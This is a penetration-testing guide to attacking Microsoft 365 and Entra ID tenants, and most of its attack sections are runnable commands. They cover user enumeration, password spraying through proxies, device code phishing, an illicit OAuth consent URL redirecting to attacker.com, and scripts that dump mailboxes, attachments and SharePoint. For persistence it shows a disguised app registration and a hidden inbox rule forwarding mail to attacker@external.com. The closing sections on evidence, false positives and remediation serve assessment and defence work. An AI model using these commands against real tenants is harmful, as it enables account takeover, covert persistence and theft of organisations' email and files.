SaaS Security (M365 & Entra ID)
Microsoft 365 and Entra ID (formerly Azure AD) are the identity backbone of most enterprises. Compromising these services often leads to full mailbox access, SharePoint exfiltration, and lateral movement into Azure subscriptions and on-premises Active Directory.
Warning
M365 / Entra ID Attack Kill Chain
Reconnaissance & Enumeration
Tenant Validation & Discovery
Before any attack, confirm the target uses M365/Entra ID and identify the tenant ID.
# Validate domain uses M365 (check OpenID configuration)
curl -s "https://login.microsoftonline.com/target.com/.well-known/openid-configuration" | jq '.tenant_id // "Not an M365 tenant"'
# Get tenant ID from domain
curl -s "https://login.microsoftonline.com/target.com/v2.0/.well-known/openid-configuration" | jq -r '.issuer'
# Check autodiscover (confirms Exchange Online)
curl -s -o /dev/null -w "%{http_code}" "https://autodiscover-s.outlook.com/autodiscover/autodiscover.svc" -H "Host: autodiscover.target.com"
# Enumerate tenant via AADInternals (PowerShell)
Import-Module AADInternals
Get-AADIntTenantID -Domain target.com
Get-AADIntLoginInformation -Domain target.comUser Enumeration
Identify valid email addresses using timing differences and specific error messages in Microsoft login endpoints. These techniques work without authentication.
# O365Spray — validate domain and enumerate users
python3 o365spray.py --validate --domain target.com
python3 o365spray.py --enum -U users.txt --domain target.com
# TREVORspray — recon and user enumeration
trevorspray --recon target.com
trevorspray --enum -u users.txt --domain target.com
# AADInternals — user enumeration via multiple methods
Import-Module AADInternals
# Method 1: GetCredentialType API (fast, no lockout)
Invoke-AADIntUserEnumerationAsOutsider -UserNameList users.txt -Method GetCredentialType
# Method 2: Autodiscover (works even when GetCredentialType is disabled)
Invoke-AADIntUserEnumerationAsOutsider -UserNameList users.txt -Method Autodiscover
# TeamFiltration — enumerate via Microsoft Teams API
TeamFiltration.exe --enum --domain target.com --userfile users.txtInitial Access
Password Spraying
Warning
# MSOLSpray — classic M365 password spray
Import-Module MSOLSpray.ps1
Invoke-MSOLSpray -UserList users.txt -Password "Summer2025!" -URL "https://login.microsoftonline.com"
# TREVORspray — distributed spray with SOCKS proxies (evades IP lockout)
trevorspray -u users.txt -p "Summer2025!" --delay 4200 --jitter 10 \
--ssh user@proxy1:22 user@proxy2:22 user@proxy3:22
# O365Spray — spray with wait between attempts
python3 o365spray.py --spray -U users.txt -P passwords.txt --domain target.com --rate 1 --safe 70
# MFASweep — identify accounts without MFA after successful password spray
Import-Module MFASweep.ps1
Invoke-MFASweep -Username user@target.com -Password "Summer2025!"Device Code Phishing
The OAuth 2.0 device code flow is designed for input-constrained devices. Attackers abuse it by generating a device code, sending the user-facing URL to a victim, and capturing their tokens when they authenticate. This bypasses MFA since the user completes normal authentication.
Device Code Phishing Flow
# TokenTactics — device code phishing for M365 tokens
Import-Module TokenTactics.psd1
# Step 1: Generate device code (send the URL to victim)
$DeviceCode = Get-DeviceCodeFlow -Client MSGraph
# Output: "To sign in, use a web browser to open https://microsoft.com/devicelogin and enter code XXXXXXXX"
# Step 2: Wait for victim to authenticate (poll for tokens)
$Tokens = Wait-DeviceCodeFlow -DeviceCode $DeviceCode
# Step 3: Use the captured tokens
$Tokens.access_token # JWT for Microsoft Graph
$Tokens.refresh_token # Long-lived — use to get new access tokens
# Step 4: Access victim's data via Graph API
$Headers = @{ Authorization = "Bearer $($Tokens.access_token)" }
Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/me" -Headers $Headers
Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/me/messages?$top=50" -Headers $Headers
Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/me/drive/root/children" -Headers $HeadersIllicit Consent Grant (OAuth Phishing)
Register a malicious app that requests high-privilege permissions (Mail.Read, Files.ReadWrite.All). Trick a user or admin into granting consent. Once consented, the app has persistent access to their data.
# 365-Stealer — automated illicit consent grant attack
# 1. Register app in attacker-controlled tenant with redirect URI
# 2. Craft consent URL:
$consentUrl = "https://login.microsoftonline.com/common/oauth2/v2.0/authorize?" +
"client_id=<ATTACKER_APP_ID>" +
"&response_type=code" +
"&redirect_uri=https://attacker.com/callback" +
"&scope=openid+profile+Mail.Read+Files.ReadWrite.All+offline_access" +
"&response_mode=query"
# 3. Send $consentUrl to victim (phishing email / Teams message)
# 4. Victim clicks "Accept" → attacker gets auth code → exchange for tokens
# GraphRunner — post-consent exploitation
Import-Module GraphRunner.ps1
# Dump all accessible emails
Invoke-GraphRunner -AccessToken $token -Module DumpMail
# Dump OneDrive/SharePoint files
Invoke-GraphRunner -AccessToken $token -Module DumpFilesConditional Access Bypass
Conditional Access Policies (CAPs) are the primary defense layer in Entra ID. Understanding their gaps is critical for assessments.
Common CAP Gaps
- • Legacy auth protocols not blocked (IMAP, POP3, SMTP AUTH)
- • IPv6 addresses not included in named locations
- • Service principals excluded from MFA policies
- • Break-glass accounts overprivileged and poorly monitored
- • Device compliance only on "All Apps" not enforced on all client apps
Bypass Techniques
- • User-Agent spoofing: legacy clients like
BAV2ROPC - • IPv6 tunneling: bypass IPv4-only named location rules
- • Device code flow: victim authenticates, bypasses location policy
- • ROPC flow: Resource Owner Password Credential (if legacy auth enabled)
- • Token replay: use captured PRT from compliant device
# Test for legacy auth protocols (IMAP/POP3/SMTP)
# If Conditional Access doesn't block these, passwords work without MFA
Import-Module MFASweep.ps1
Invoke-MFASweep -Username user@target.com -Password "Password123"
# Tests: ActiveSync, Autodiscover, MAPI, EWS, OWA, ROPC, EAS
# ROPC flow — authenticate without interactive login (bypasses device-based CA)
$body = @{
grant_type = "password"
username = "user@target.com"
password = "Password123"
client_id = "1b730954-1685-4b74-9bfd-dac224a7b894" # Azure PowerShell
scope = "https://graph.microsoft.com/.default"
}
$response = Invoke-RestMethod -Method Post \
-Uri "https://login.microsoftonline.com/target.com/oauth2/v2.0/token" \
-Body $body
$response.access_tokenPost-Exploitation
Email & Data Exfiltration
# Microsoft Graph API — read emails
$headers = @{ Authorization = "Bearer $accessToken" }
# Get recent messages
Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/me/messages?$top=100&$select=subject,from,receivedDateTime" \
-Headers $headers | Select-Object -ExpandProperty value | Format-Table
# Search for sensitive keywords across mailbox
Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/me/messages?$search="password OR secret OR credential"" \
-Headers $headers
# Download all attachments
$messages = (Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/me/messages?$filter=hasAttachments eq true&$top=50" \
-Headers $headers).value
foreach ($msg in $messages) {
$attachments = (Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/me/messages/$($msg.id)/attachments" \
-Headers $headers).value
foreach ($att in $attachments) {
[IO.File]::WriteAllBytes("./exfil/$($att.name)", [Convert]::FromBase64String($att.contentBytes))
}
}
# Download OneDrive files
Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/me/drive/root/children" -Headers $headersSharePoint & Teams Enumeration
# Enumerate SharePoint sites accessible to compromised user
$headers = @{ Authorization = "Bearer $accessToken" }
$sites = (Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/sites?search=*" -Headers $headers).value
$sites | ForEach-Object { Write-Host "$($_.displayName) — $($_.webUrl)" }
# Enumerate Teams and channels
$teams = (Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/me/joinedTeams" -Headers $headers).value
foreach ($team in $teams) {
Write-Host "[Team] $($team.displayName)"
$channels = (Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/teams/$($team.id)/channels" -Headers $headers).value
foreach ($ch in $channels) { Write-Host " [Channel] $($ch.displayName)" }
}
# Search across all M365 content (requires Search.Read.All)
$searchBody = @{
requests = @(@{
entityTypes = @("message", "driveItem", "listItem", "site")
query = @{ queryString = "password OR secret OR API key" }
from = 0; size = 25
})
} | ConvertTo-Json -Depth 5
Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/search/query" -Headers $headers -Method Post \
-Body $searchBody -ContentType "application/json"eDiscovery (Compliance Search)
If the compromised account has eDiscovery Manager or Compliance Administrator role, you can search all mailboxes, SharePoint sites, and Teams conversations in the tenant.
# Connect to Security & Compliance center
Connect-IPPSSession -UserPrincipalName admin@target.com
# Create a compliance search across all mailboxes
New-ComplianceSearch -Name "PenTest-Search" -ExchangeLocation All \
-ContentMatchQuery '(subject:"password" OR body:"API key" OR body:"secret")'
Start-ComplianceSearch -Identity "PenTest-Search"
# Check status and preview results
Get-ComplianceSearch -Identity "PenTest-Search" | Format-List Name, Status, Items
# Export results (requires eDiscovery Manager role)
New-ComplianceSearchAction -SearchName "PenTest-Search" -Export -Format FxStream
# Clean up after assessment
Remove-ComplianceSearch -Identity "PenTest-Search" -Confirm:$falsePersistence Techniques
App Registration Backdoor
Register app with Mail.Read + Files.Read.All, add client secret. Survives password resets.
Federation Trust
Add attacker-controlled IDP as federated domain. Mint SAML tokens for any user.
Inbox Rule Persistence
Create hidden inbox rule that forwards sensitive emails to external address.
Admin Consent Grant
Grant tenant-wide consent to attacker app. Reads all users' mail without per-user auth.
# App Registration backdoor — create a persistent application credential
# Step 1: Register a new application (requires Application.ReadWrite.All)
$app = New-AzADApplication -DisplayName "Microsoft Security Scanner" \
-ReplyUrls "https://localhost"
# Step 2: Add a client secret (valid for 2 years)
$secret = New-AzADAppCredential -ObjectId $app.Id -EndDate (Get-Date).AddYears(2)
Write-Host "App ID: $($app.AppId)"
Write-Host "Secret: $($secret.SecretText)"
# Step 3: Grant API permissions (Graph: Mail.Read, Files.Read.All)
Add-AzADAppPermission -ObjectId $app.Id -ApiId "00000003-0000-0000-c000-000000000000" \
-Type Role -PermissionId "810c84a8-4a9e-49e6-bf7d-12d183f40d01" # Mail.Read
Add-AzADAppPermission -ObjectId $app.Id -ApiId "00000003-0000-0000-c000-000000000000" \
-Type Role -PermissionId "01d4f6a5-1c69-403b-a2e3-0e5ee53e6a27" # Files.Read.All
# Step 4: Grant admin consent (if you have Global Admin)
# Navigate to: https://login.microsoftonline.com/{tenant}/adminconsent?client_id={app_id}
# Inbox Rule persistence — hidden email forwarding
New-InboxRule -Name "." -Mailbox victim@target.com \
-ForwardTo "attacker@external.com" \
-SubjectContainsWords "password","secret","credentials" \
-MarkAsReadM365 / Entra ID Tools
| Tool | Category | Best For |
|---|---|---|
| AADInternals | Enumeration / Exploitation | Tenant recon, token manipulation, federation abuse |
| ROADtools | Enumeration | Full Entra ID dump, interactive GUI explorer |
| GraphRunner | Post-Exploitation | Graph API abuse, mail/file dump, permission enum |
| TokenTactics | Token Abuse | Device code phishing, token refresh, CAE bypass |
| MFASweep | Authentication | Identify accounts/protocols without MFA |
| TeamFiltration | Enumeration / Spray | Teams-based user enum, message exfil |
| TREVORspray | Password Spray | Distributed spray via SSH proxies |
| ScubaGear | Auditing | CISA M365 secure configuration assessment |
M365 / Entra ID Labs
Practice Microsoft 365 attack techniques in safe lab environments.
Evidence to Capture
M365 findings are decided by licensing and by conditional access as much as by role assignment, so the tenant context is part of the proof.
Tenant context: Tenant ID and the verified domain for every finding, plus the licence or plan being assessed, because several controls are plan-dependent.
Sign-in log entry: Date, IP address, client application, the authentication requirement result, and the conditional-access policies evaluated.
Token claims: Decoded aud, scp, roles, amr and tenant claims from the access or refresh token, with the token itself redacted.
Directory object: Object ID and type of the user, group, service principal or app registration involved, with the role or permission granted.
Consent grant: The appId, the permission set, whether consent was user or admin, and the consenting principal.
Data reach: For exfiltration, the mailbox or site path, the access method and the count of items reached, rather than the content of the items.
Likely False Positives
Most apparent M365 weaknesses resolve to a policy the portal does not surface in the place the tester looked, or to a licence that does not include the feature.
- Conditional Access excluded the test account: A policy that excludes break-glass or service accounts shows no enforcement for the account tested without being absent.
- MFA satisfied by an existing session: A refresh token can be exchanged without a new prompt. That is session reuse policy, not a broken second factor.
- Licence-dependent control: Defender for Cloud Apps, eDiscovery and some conditional-access conditions are not on every plan. The control may be absent because the feature is.
- Role assigned but not active: Eligible PIM roles are not permissions, and Directory Readers does not read mailboxes.
- Deprecated Graph endpoint: A 403 on an enumeration endpoint may be a retired permission rather than a hardening decision.
- Security defaults: A tenant with security defaults enabled blocks legacy authentication without any conditional-access policy visible in the portal.
- Delegation read as a directory role: Mailbox access granted through delegation is a mail-flow permission, not an Entra role. Reporting it as a role overstates the identity exposure.
Testing Checklist
Reconnaissance
- ☐ Tenant ID confirmed from the OpenID configuration
- ☐ Verified domains and the default domain recorded
- ☐ User enumeration reconciled against the licences in use
- ☐ Tenant-wide conditional-access policy list exported
Identity
- ☐ Roles captured as object IDs with the assignment type, active or eligible
- ☐ Admin role membership enumerated
- ☐ MFA and authentication-method registration state per account
- ☐ Service principals and app registrations holding credentials listed
- ☐ Enterprise application consent grants reviewed
Data
- ☐ Mailbox and SharePoint reachability tested as the compromised identity
- ☐ eDiscovery and compliance search permissions checked separately from directory roles
- ☐ Sharing settings and anonymous link policy recorded
- ☐ Accessed item counts recorded rather than content
Detection
- ☐ Unified audit log retention and enabled state noted
- ☐ Sign-in log retention noted
- ☐ Alerts raised by the activity recorded
- ☐ Evidence timestamps in UTC with correlation IDs
Remediation & Defense
Identity
- • Enable security defaults or a baseline conditional-access policy set, then add named-location and device controls
- • Block legacy authentication at the tenant level
- • Require phishing-resistant authentication for privileged roles
- • Replace standing admin roles with PIM eligibility and approval
- • Remove unused app registrations and rotate credentials on the rest
Consent and applications
- • Restrict user consent to verified publishers, or disable it and route requests through an admin consent workflow
- • Review enterprise application permissions and revoke what the workload does not need
- • Alert on new app registrations and on credential additions
Data
- • Apply sensitivity labels and default sharing limits to SharePoint and OneDrive
- • Restrict eDiscovery and compliance search roles to the compliance team
- • Enable mailbox auditing on every mailbox, including shared ones
Detection
- • Turn on unified audit logging and extend retention to the contractual period
- • Alert on impossible travel, new inbox rules and mass download from SharePoint
- • Review Defender for Cloud Apps signals where the plan includes it